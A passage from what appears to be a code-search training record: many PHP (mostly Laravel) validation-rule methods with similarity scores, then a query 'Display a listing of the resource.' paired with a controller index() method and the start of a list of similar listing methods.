get_validate_in_string(CrmResourceCallLog::$call_statuses),\n ];\n break;\n default:\n return [];\n break;\n }\n }", "public function rules()\n {\n //With password\n if(request('password') || request('password_confirmation')) {\n return array_merge($this->passwordRules(), $this->defaultRules());\n }\n //Without password\n return $this->defaultRules();\n }", "public function rules()\n {\n $rules = [\n '_token' => 'required'\n ];\n\n foreach($this->request->get('emails') as $key => $val) {\n $rules['emails.'.$key] = 'required|email';\n }\n\n return $rules;\n }", "function getValidationRules() {\n\t\treturn array(\n\t\t\t'_ID' => array(\n\t\t\t\t'number' => array(),\n\t\t\t),\n\t\t\t'_CoverImageID' => array(\n\t\t\t\t'number' => array(),\n\t\t\t),\n\t\t\t'_TrackID' => array(\n\t\t\t\t'number' => array(),\n\t\t\t),\n\t\t\t'_Status' => array(\n\t\t\t\t'number' => array(),\n\t\t\t),\n\t\t\t'_Rank' => array(\n\t\t\t\t'number' => array(),\n\t\t\t),\n\t\t\t'_CreateDate' => array(\n\t\t\t\t'dateTime' => array(),\n\t\t\t),\n\t\t);\n\t}", "public function rules()\n { \n return $this->rules;\n }", "public function getValidationRules()\n {\n if (method_exists($this, 'rules')) {\n return $this->rules();\n }\n\n $table = $this->getTable();\n $cacheKey = 'validate.' . $table;\n\n if (config('validate.cache') && Cache::has($cacheKey)) {\n return Cache::get($cacheKey);\n }\n\n // Get table info for model and generate rules\n $manager = DB::connection()->getDoctrineSchemaManager();\n $details = $manager->listTableDetails($table);\n $foreignKeys = $manager->listTableForeignKeys($table);\n\n $this->generateRules($details, $foreignKeys);\n\n if (config('validate.cache')) {\n Cache::forever($cacheKey, $this->rules);\n }\n\n return $this->rules;\n }", "public function getValidationRules()\n {\n $rules = $this->getBasicValidationRules();\n\n if (in_array($this->type, ['char', 'string', 'text', 'enum'])) {\n $rules[] = 'string';\n if (in_array($this->type, ['char', 'string']) && isset($this->arguments[0])) {\n $rules[] = 'max:' . $this->arguments[0];\n }\n } elseif (in_array($this->type, ['timestamp', 'date', 'dateTime', 'dateTimeTz'])) {\n $rules[] = 'date';\n } elseif (str_contains(strtolower($this->type), 'integer')) {\n $rules[] = 'integer';\n } elseif (str_contains(strtolower($this->type), 'decimal')) {\n $rules[] = 'numeric';\n } elseif (in_array($this->type, ['boolean'])) {\n $rules[] = 'boolean';\n } elseif ($this->type == 'enum' && count($this->arguments)) {\n $rules[] = 'in:' . join(',', $this->arguments);\n }\n\n return [$this->name => join('|', $rules)];\n }", "public function rules()\n {\n $rules = [];\n if ($this->isMethod('post')) {\n $rules = [\n 'vacancy_name' => 'required|string|min:4|max:20',\n 'workers_amount' => 'required|integer|min:1|max:10',\n 'organization_id'=> 'required|integer|exists:organizations,id',\n 'salary' => 'required|integer|min:1|max:10000000',\n ];\n } elseif ($this->isMethod('put')) {\n $rules = [\n 'vacancy_name' => 'required|string|min:4|max:20',\n 'workers_amount' => 'required|integer|min:1|max:10',\n 'organization_id'=> 'required|integer|exists:organizations,id',\n 'salary' => 'required|integer|min:1|max:10000000',\n ];\n }\n return $rules;\n }", "public function validationRules()\n {\n return [];\n }", "public function rules()\n {\n $rules = $this->rules;\n if(Request::isMethod('PATCH')){\n $rules['mg_name'] = 'required|min:2,max:16';\n }\n return $rules;\n }", "function getValidationRules() {\n\t\treturn array(\n\t\t\t'_ID' => array(\n\t\t\t\t'number' => array(),\n\t\t\t),\n\t\t\t'_EventID' => array(\n\t\t\t\t'number' => array(),\n\t\t\t),\n\t\t\t'_SourceID' => array(\n\t\t\t\t'number' => array(),\n\t\t\t),\n\t\t\t'_UserID' => array(\n\t\t\t\t'number' => array(),\n\t\t\t),\n\t\t\t'_HasEvent' => array(\n\t\t\t\t'inArray' => array('values' => array(self::HASEVENT_0, self::HASEVENT_1),),\n\t\t\t),\n\t\t);\n\t}", "public function rules()\n {\n $rules = [];\n switch ($this->method()){\n case 'GET':\n $rules['mobile'] = ['required', 'regex:/^1[3456789]\\d{9}$/'];\n break;\n case 'POST':\n if($this->route()->getActionMethod() == 'sms') {\n $rules['area_code'] = ['digits_between:1,6'];\n if(in_array($this->get('type'), ['signup', 'reset_pay_pwd'])) {\n $rules['mobile'] = ['required', 'digits_between:5,20'];\n if($this->get('type') == 'signup' && !$this->get('area_code')) {\n $this->error('请选择区号');\n }\n }\n $rules['type'] = ['required', Rule::in(\\App\\Models\\Captcha::getSmsType())];\n }\n break;\n }\n return $rules;\n }", "public function rules()\n {\n if ($this->isMethod('post')) {\n return $this->createRules();\n } elseif ($this->isMethod('put')) {\n return $this->updateRules();\n }\n }", "public function rules()\n {\n $rules = [\n 'first_name' => ['required'],\n 'birthdate' => ['required', 'date', 'before:today'],\n ];\n\n if (is_international_session()) {\n $rules['email'] = ['required', 'email'];\n }\n\n if (should_collect_international_phone()) {\n $rules['phone'] = ['phone'];\n }\n\n if (is_domestic_session()) {\n $rules['phone'] = ['required', 'phone'];\n }\n\n return $rules;\n }", "public function rules()\n {\n dd($this->request->get('answer'));\n foreach ($this->request->get('answer') as $key => $val)\n {\n $rules['answer.'.$key] = 'required';\n }\n\n return $rules;\n }", "public function rules()\n {\n return static::$rules;\n }", "function getRules() {\n\t\t$fields = $this->getFields();\n\t\t$allRules = array();\n\n\t\tforeach ($fields as $field) {\n\t\t\t$fieldRules = $field->getValidationRules();\n\t\t\t$allRules[$field->getName()] = $fieldRules;\n\t\t}\n\n\t\treturn $allRules;\n\t}", "public static function getValidationRules(): array\n {\n return [\n 'name' => 'required|string|min:1|max:255',\n 'version' => 'required|float',\n 'type' => 'required|string',\n ];\n }", "public function rules()\n {\n $rules = [\n 'name' => 'required',\n 'phone' => 'required|numeric',\n 'subject' => 'required',\n 'message' => 'required',\n 'email' => 'required|email',\n ];\n\n return $rules;\n }", "public function getValidationRules(): array\n {\n return [\n 'email_address' => 'required|email',\n 'email_type' => 'nullable|in:html,text',\n 'status' => 'required|in:subscribed,unsubscribed,cleaned,pending',\n 'merge_fields' => 'nullable|array',\n 'interests' => 'nullable|array',\n 'language' => 'nullable|string',\n 'vip' => 'nullable|boolean',\n 'location' => 'nullable|array',\n 'location.latitude' => ['regex:/^[-]?(([0-8]?[0-9])\\.(\\d+))|(90(\\.0+)?)$/'], \n 'location.longitude' => ['regex:/^[-]?((((1[0-7][0-9])|([0-9]?[0-9]))\\.(\\d+))|180(\\.0+)?)$/'],\n 'marketing_permissions' => 'nullable|array',\n 'tags' => 'nullable|array'\n ];\n }", "protected function getValidationRules()\n {\n return [\n 'first_name' => 'required|max:255',\n 'last_name' => 'required|max:255',\n 'email' => 'required|email|max:255',\n 'new_password' => 'required_with:current_password|confirmed|regex:' . config('security.password_policy'),\n ];\n }", "public function rules()\n {\n // get 直接放行\n if( request()->isMethod('get') ){\n return []; // 规则为空\n }\n\n // 只在post的时候做验证\n return [\n 'username' => 'required|min:2|max:10', \n 'password' => 'required|min:2|max:10', \n 'email' => 'required|min:2|max:10|email', \n 'phoneNumber' => 'required|min:2|max:10', \n\n ];\n }", "public function rules()\n {\n\n $rules = [\n 'id_tecnico_mantenimiento' => 'required',\n 'id_equipo_mantenimiento' => 'required'\n ];\n\n if ($this->request->has('status')) {\n $rules['status'] = 'required';\n }\n\n if ($this->request->has('log_mantenimiento')) {\n $rules['log_mantenimiento'] = 'required';\n }\n\n return $rules;\n }", "public function rules()\n {\n $this->buildRules();\n return $this->rules;\n }", "public function rules()\n {\n $rules = [];\n\n if ($this->isUpdate() || $this->isStore()) {\n $rules = array_merge($rules, [\n 'name' => 'required|string',\n 'email' => 'email',\n 'password' => 'confirmed|min:6',\n\n ]);\n }\n\n if ($this->isStore()) {\n $rules = array_merge($rules, [\n\n ]);\n }\n\n if ($this->isUpdate()) {\n $rules = array_merge($rules, [\n ]);\n }\n\n return $rules;\n }", "public function rules()\n {\n switch (true) {\n case $this->wantsToList():\n $rules = $this->listRules;\n break;\n case $this->wantsToStore():\n $rules = $this->storeRules;\n break;\n case $this->wantsToUpdate():\n $this->storeRules['email'] = 'required|email|between:5,100|unique:users,email,' . $this->route('administrators');\n\n $rules = $this->storeRules;\n break;\n default:\n $rules = [];\n }\n\n return $rules;\n }", "public function rules()\n {\n if($this->isMethod('post')) {\n return $this->storeRules();\n }\n else if($this->isMethod('put') || $this->isMethod('patch')){\n return $this->updateRules();\n }\n }", "abstract protected function getValidationRules();", "public function rules()\n\t{\n\t\treturn ModelHelper::getRules($this);\n\t}", "public function rules()\n {\n switch ($this->method()) {\n case 'POST':\n return $this->getPostRules();\n case 'PUT':\n return $this->getPutRules();\n }\n }", "public function rules()\n {\n $rules = [\n 'name' => 'required|string|min:2',\n 'email' => \"required|email|unique:users,email, {$this->request->get('user_id')}\",\n 'role_id' => 'required|numeric',\n 'group_id' => 'required|numeric',\n ];\n\n if ($this->request->has('password')){\n $rules['password'] = 'required|min:6';\n }\n\n return $rules;\n }", "public function rules()\n {\n if($this->method() == 'POST')\n {\n return [\n 'reason'=>'required',\n 'date_from'=>'required',\n 'date_to'=>'required',\n 'attachment'=>'required',\n ];\n }\n }", "public function rules()\n {\n $method = $this->method();\n if ($this->get('_method', null) !== null) {\n $method = $this->get('_method');\n }\n // $this->offsetUnset('_method');\n switch ($method) {\n case 'DELETE':\n case 'GET':\n break; \n case 'POST':\n $mailRules = \\Config::get('database.default').'.users';\n break;\n case 'PUT':\n $user = $this->authService->authJWTUserForm();\n $mailRules = \\Config::get('database.default').'.users,email,'.$user->getKey();\n break;\n case 'PATCH':\n break;\n default:\n break;\n }\n \n return [\n 'name' => 'required|string|max:256',\n 'email' => 'required|string|email|max:255|unique:'.$mailRules,\n 'password' => 'required|string|min:3',\n ];\n }", "public function rules() {\n $rule = [\n 'value' => 'bail|required',\n ];\n if ($this->getMethod() == 'POST') {\n $rule += ['type' => 'bail|required'];\n }\n return $rule;\n }", "public function rules()\n {\n switch ($this->method()) {\n case 'GET':\n case 'DELETE': {\n return [];\n }\n case 'POST': {\n return [\n 'from' => 'required|max:100',\n 'to' => 'required|max:500',\n 'day' => 'required|max:500',\n ];\n }\n case 'PUT':\n case 'PATCH': {\n return [\n 'from' => 'required|max:100',\n 'to' => 'required|max:500',\n 'day' => 'required|max:500',\n ];\n }\n default:\n break;\n }\n\n return [\n //\n ];\n }", "public function rules()\n {\n switch ($this->method()) {\n case 'GET':\n case 'DELETE': {\n return [];\n }\n case 'POST':\n case 'PUT':\n case 'PATCH': {\n return [\n 'name' => 'required|string|max:255',\n 'iso_code_2' => 'required|string|size:2',\n 'iso_code_3' => 'required|string|size:3',\n ];\n }\n default:\n return [];\n }\n }", "public function rules()\n {\n switch ($this->method()) {\n case 'GET':\n case 'DELETE':\n return [];\n case 'POST':\n return [\n 'name' => 'required|string',\n 'lastName' => 'string',\n 'gender' => 'boolean',\n 'avatar' => 'sometimes|mimes:jpg,png,jpeg|max:3048'\n ];\n case 'PUT':\n case 'PATCH':\n return [\n 'oldPassword' => 'required|string',\n 'newPassword' => 'required|string',\n ];\n default:\n break;\n }\n }", "public function rules()\n {\n switch ($this->method()) {\n case 'GET':\n case 'DELETE':\n {\n return [\n 'validation' => [\n 'accepted'\n ]\n ];\n }\n case 'POST':\n {\n return [\n 'title' => [\n 'required',\n 'string',\n 'min:3',\n 'max:250'\n ],\n 'body' => [\n 'required',\n 'string',\n 'min:3',\n 'max:250000'\n ],\n 'online' => [\n 'required',\n ],\n 'indexable' => [\n 'required',\n ],\n 'published_at' => [\n 'required',\n ],\n 'published_at_time' => [\n 'required',\n ],\n 'unpublished_at' => [\n 'nullable',\n ],\n 'unpublished_time' => [\n 'nullable',\n ],\n ];\n }\n case 'PUT':\n {\n return [\n 'title' => [\n 'required',\n 'string',\n 'min:3',\n 'max:250'\n ],\n 'body' => [\n 'required',\n 'string',\n 'min:3',\n 'max:250000'\n ],\n 'online' => [\n 'required',\n ],\n 'indexable' => [\n 'required',\n ],\n 'published_at' => [\n 'required',\n ],\n 'unpublished_at' => [\n 'nullable',\n ],\n ];\n }\n case 'PATCH':\n {\n return [];\n }\n default:\n break;\n }\n }", "public function rules()\n {\n if (in_array($this->method(), ['PUT', 'PATCH'])) {\n $user = User::findOrFail(\\Request::input('id'))->first();\n\n array_forget($this->rules, 'email');\n $this->rules = array_add($this->rules, 'email', 'required|email|max:255|unique:users,email,' . $user->id);\n }\n\n return $this->rules;\n }", "public function rules()\n {\n $method = explode('@', $this->route()->getActionName())[1];\n return $this->get_rules_arr($method);\n }", "public function rules()\n {\n $rules = parent::rules();\n $extra_rules = [];\n $rules = array_merge($rules, $extra_rules);\n return $rules;\n }", "public function rules()\n {\n\t\tswitch($this->method()) {\n\t\t\tcase 'POST':\n\t\t\t\t{\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'field_id' => 'integer|required',\n\t\t\t\t\t\t'label' => 'string|required',\n\t\t\t\t\t\t'value' => 'alpha_dash|required',\n\t\t\t\t\t\t'selected' => 'boolean',\n\t\t\t\t\t\t'actif' => 'boolean',\n\t\t\t\t\t];\n\t\t\t\t}\n\t\t\tcase 'PUT':\n\t\t\t\t{\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'field_id' => 'integer|required',\n\t\t\t\t\t\t'label' => 'string|required',\n\t\t\t\t\t\t'value' => 'alpha_dash|required',\n\t\t\t\t\t\t'selected' => 'boolean',\n\t\t\t\t\t\t'actif' => 'boolean',\n\t\t\t\t\t];\n\t\t\t\t}\n\t\t\tdefault:break;\n\t\t}\n }", "public function rules()\n {\n $this->sanitize();\n return [\n 'event_id' => 'required',\n 'member_id' => 'required',\n 'guild_pts' => 'required',\n 'position' => 'required',\n 'solo_pts' => 'required',\n 'league_id' => 'required',\n 'solo_rank' => 'required',\n 'global_rank' => 'required',\n ];\n }", "public function rules()\n {\n $this->rules['email'] = ['required', 'min:6', 'max:60', 'email'];\n $this->rules['password'] = ['required', 'min:6', 'max:60'];\n\n return $this->rules;\n }", "public function getValidatorRules()\n {\n if ($validator = $this->getValidator()) {\n return $validator->getRulesForField($this->owner);\n }\n \n return [];\n }", "public function getValidationRules() : array;", "public function rules()\n {\n switch ($this->route()->getActionMethod()) {\n case 'login': {\n if ($this->request->has('access_token')) {\n return [\n 'access_token' => 'required',\n 'driver' => 'required|in:facebook,github,google',\n ];\n }\n return [\n 'email' => 'required|email',\n 'password' => 'required|min:6',\n ];\n }\n case 'register': {\n return [\n 'email' => 'required|email|unique:users,email',\n 'password' => 'required|min:6',\n 'name' => 'required',\n ];\n }\n default: return [];\n }\n }", "public function rules()\n {\n Validator::extend('mail_address_available', function($attribute, $value, $parameters, $validator){\n return MailAddressSpec::isAvailable($value);\n });\n Validator::extend('password_available', function($attribute, $value, $parameters, $validator){\n return PassWordSpec::isAvailable($value);\n });\n\n return [\n 'mail_address' => [\n 'required',\n 'mail_address_available'\n ],\n 'password' => [\n 'required',\n 'password_available',\n ],\n ];\n }", "public function rules()\n {\n switch (strtolower($this->method())) {\n case 'get':\n return $this->getMethodRules();\n case 'post':\n return $this->postMethodRules();\n case 'put':\n return $this->putMethodRules();\n case 'patch':\n return $this->patchMethodRules();\n case 'delete':\n return $this->deleteMethodRules();\n }\n }", "public function rules()\n {\n /**\n * This is the original way, expecting post params for each user value\n */\n return [\n 'firstName' => 'required|min:2|max:255',\n 'lastName' => 'required|min:2|max:255',\n 'phone' => 'min:9|max:25',\n 'gender' => 'in:M,V',\n 'dateOfBirth' => 'before:today|after:1890-01-01',\n 'email' => 'email|min:12|max:255',\n ];\n }", "public function getValidationRules(): array {\n\t\t$result = [];\n\t\t\n\t\tforeach ($this->getSections() as $section) {\n\t\t\t$result = array_merge($result, $section->getValidationRules());\n\t\t}\n\t\t\n\t\treturn $result;\n\t}", "public function rules()\n\t{\n\t\t$rule = [];\n\t\tif(Request::path() == 'api/utility/upload-image'){\n\t\t\t$rule = [\n\t\t\t\t'imagePath' => 'required',\n\t\t\t];\n\t\t}else if(Request::path() == 'api/utility/check-transaction'){\n\t\t\t$rule = [\n\t\t\t\t'countNumber' => 'required',\n\t\t\t];\n\t\t}\n\t\treturn $rule;\n\t}", "public function rules()\n {\n $rules = array();\n return $rules;\n }", "public function rules()\n {\n $this->setValidator($this->operation_type);\n return $this->validator;\n }", "public function rules()\n {\n switch($this->method()){\n case 'POST':\n return [\n 'name' => 'required',\n 'app_id' => 'required',\n 'account_id' => 'required',\n 'start_at' => 'required',\n 'end_at' => 'required',\n 'content' => 'required',\n ];\n break;\n default:\n return [];\n break;\n }\n\n }", "protected function get_validation_rules()\n {\n }", "public function rules()\n {\n $rules = [\n 'users' => 'required|array',\n ];\n\n foreach($this->request->get('users') as $key => $user) {\n $rules['users.'. $key . '.name'] = 'required|string|min:3|max:255';\n $rules['users.'. $key . '.phone'] = 'required|regex:/^[0-9\\+\\s]+$/|min:10|max:17';\n $rules['users.'. $key . '.country'] = 'required|string|min:2:max:3';\n }\n\n return $rules;\n }", "public function rules()\n {\n $rules = [\n 'mail_driver' => 'required',\n 'mail_name' => 'required',\n 'mail_email' => 'required',\n ];\n\n $newRules = [];\n\n if($this->mail_driver == 'smtp') {\n $newRules = [\n 'mail_host' => 'required',\n 'mail_port' => 'required|numeric',\n 'mail_username' => 'required',\n 'mail_password' => 'required',\n 'mail_encryption' => 'required',\n ];\n }\n\n return array_merge($rules, $newRules);\n }", "public function rules()\n {\n $rules['name'] = 'required';\n $rules['poa'] = 'required';\n $rules['background'] = 'required';\n $rules['tester_name'] = 'required';\n $rules['location'] = 'required';\n $rules['end_recruit_date'] = 'required';\n $rules['time_taken'] = 'required';\n $rules['payment'] = 'required';\n $rules['objective'] = 'required';\n $rules['method_desc'] = 'required';\n $rules['health_condition'] = 'required';\n $rules['required_applicant'] = 'required|integer';\n $rules['applicant'] = 'nullable';\n $rules['datetime'] = 'required';\n\n return $rules;\n }", "public function rules()\n {\n switch($this->method()) {\n\n case 'PUT':\n {\n return [\n 'company_name' => 'required',\n 'status' => 'required|integer',\n 'notify_url' => 'required',\n 'name' => 'required'\n ];\n }\n case 'POST':\n {\n return [\n 'company_name' => 'required',\n 'status' => 'required|integer',\n 'notify_url' => 'required',\n 'name' => 'required'\n ];\n }\n default:\n return [];\n }\n\n }", "public function rules()\n {\n $rules['name'] = 'required';\n $rules['poa'] = 'required';\n $rules['background'] = 'required';\n $rules['tester_name'] = 'required';\n\n return $rules;\n }", "public function rules()\n {\n switch(Route::currentRouteName()){\n case 'adminBinding' :\n return [\n 'order_id' => 'required|integer',\n 'money' => 'required|numeric',\n ];\n case 'adminUnbinding' :\n return [\n 'order_id' => 'required|integer',\n 'pivot_id' => 'required|integer',\n ];\n case 'adminReceiptSave' :\n case 'adminReceiptUpdate' :\n return [\n 'customer_id' => 'required',\n 'receiptcorp' => 'required',\n 'account' => 'required',\n 'account_id' => 'required',\n 'bank' => 'required',\n 'currency_id' => 'required',\n 'advance_amount' => 'required|numeric',\n 'picture' => 'required',\n 'business_type' => 'required|in:1,2,3,4,5',\n 'exchange_type' => 'required_unless:currency_id,354|in:1,2',\n 'expected_received_at' => 'required|date_format:Y-m-d',\n ];\n case 'adminReceiptExchange' :\n return [\n 'rate' => 'required|numeric',\n ];\n default :\n return [];\n }\n }", "public function rules()\n {\n $rules = [];\n $method = $this->getMethod();\n switch ($method) {\n case 'GET':\n if (Route::currentRouteName() === 'schoolActivity.getSchoolActivity') {\n $rules = [\n ];\n }\n break;\n }\n return $rules;\n }", "public function rules()\n {\n $rules = new Collection();\n\n if (!$this->user() or !$this->user()->addresses()->count()) {\n $rules = $rules->merge($this->addressRules('billing'));\n if ($this->has('different_shipping_address')) {\n $rules = $rules->merge($this->addressRules('shipping'));\n }\n\n return $rules->toArray();\n }\n\n return $rules->merge([\n 'billing_address_id' => 'required|numeric',\n 'shipping_address_id' => 'required|numeric',\n ])->toArray();\n }", "public function rules(): array\n {\n switch ($this->method()) {\n case 'POST':\n return $this->__rules() + $this->__post();\n case 'PUT':\n return $this->__rules() + $this->__put();\n default:\n return [];\n }\n }", "public function defineValidationRules()\n {\n return [];\n }", "public function rules(Request $request)\n {\n return Qc::$rules;\n }", "public function rules()\n {\n switch ($this->method()) {\n case 'POST':\n return [\n 'user_name' => 'nullable|string',\n 'excel' => 'nullable|file|mimes:xlsx',\n 'category' => 'required|int|in:' . implode(',', array_keys(UserMessage::$categories)),\n 'content' => 'required|string|max:500',\n 'member_status' => 'required|int|in:' . implode(',', array_keys(User::$statuses)),\n ];\n break;\n }\n }", "public function rules()\n {\n return [\n 'lead_id' => [\n 'required', 'string',\n ],\n 'api_version' => [\n 'required', 'string',\n ],\n 'form_id' => [\n 'required', 'int',\n ],\n 'campaign_id' => [\n 'required', 'int',\n ],\n 'google_key' => [\n 'required', 'string', new GoogleKeyRule,\n ],\n ];\n }" ]
[ "0.8342703", "0.80143493", "0.7937251", "0.79264987", "0.79233825", "0.79048395", "0.78603816", "0.7790699", "0.77842164", "0.77628785", "0.7737272", "0.7733618", "0.7710535", "0.7691693", "0.76849866", "0.7683038", "0.7683038", "0.7683038", "0.7683038", "0.7683038", "0.7683038", "0.7675849", "0.76724476", "0.76665044", "0.7657698", "0.7641827", "0.7630892", "0.76293766", "0.7617708", "0.76102096", "0.7607475", "0.7602442", "0.7598732", "0.7597544", "0.75924", "0.75915384", "0.7588146", "0.7581354", "0.7555758", "0.755526", "0.7551423", "0.7546329", "0.7541439", "0.75366044", "0.75363225", "0.7530296", "0.7517988", "0.75155175", "0.7508439", "0.75069886", "0.7505724", "0.749979", "0.7495976", "0.74949056", "0.7492888", "0.7491117", "0.74901396", "0.7489651", "0.7486808", "0.7486108", "0.7479687", "0.7478561", "0.7469412", "0.74635684", "0.74619836", "0.7461325", "0.74591017", "0.7455279", "0.745352", "0.7453257", "0.7449877", "0.74486", "0.7441391", "0.7440429", "0.7435489", "0.7435326", "0.74341524", "0.7430354", "0.7429103", "0.7423808", "0.741936", "0.74152505", "0.7414828", "0.741382", "0.74126065", "0.74105227", "0.740555", "0.7404385", "0.74040926", "0.74015605", "0.73905706", "0.73837525", "0.73732615", "0.7371123", "0.7369176", "0.73619753", "0.73554605", "0.73448825", "0.7344659", "0.73427117", "0.73357755" ]
0.0
-1
Display a listing of the resource.
public function index() { $data = []; $data['cat'] = Careercat::all(); $data['job'] = Career::all(); $data['careerhead'] = Careerhead::find(1); return view('Backend.career.career',compact('data')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "public function listing();", "function index() {\n\t\t$this->show_list();\n\t}", "public function actionList() {\n $this->_getList();\n }", "public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }", "public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }", "public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }", "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }", "public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}", "public function actionRestList() {\n\t $this->doRestList();\n\t}", "public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}", "public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }", "public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }", "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}", "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }", "public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }", "public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}", "public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }", "public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}", "public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }", "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }", "public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }", "public function index()\n\t{\n\t\t$data['lists'] = 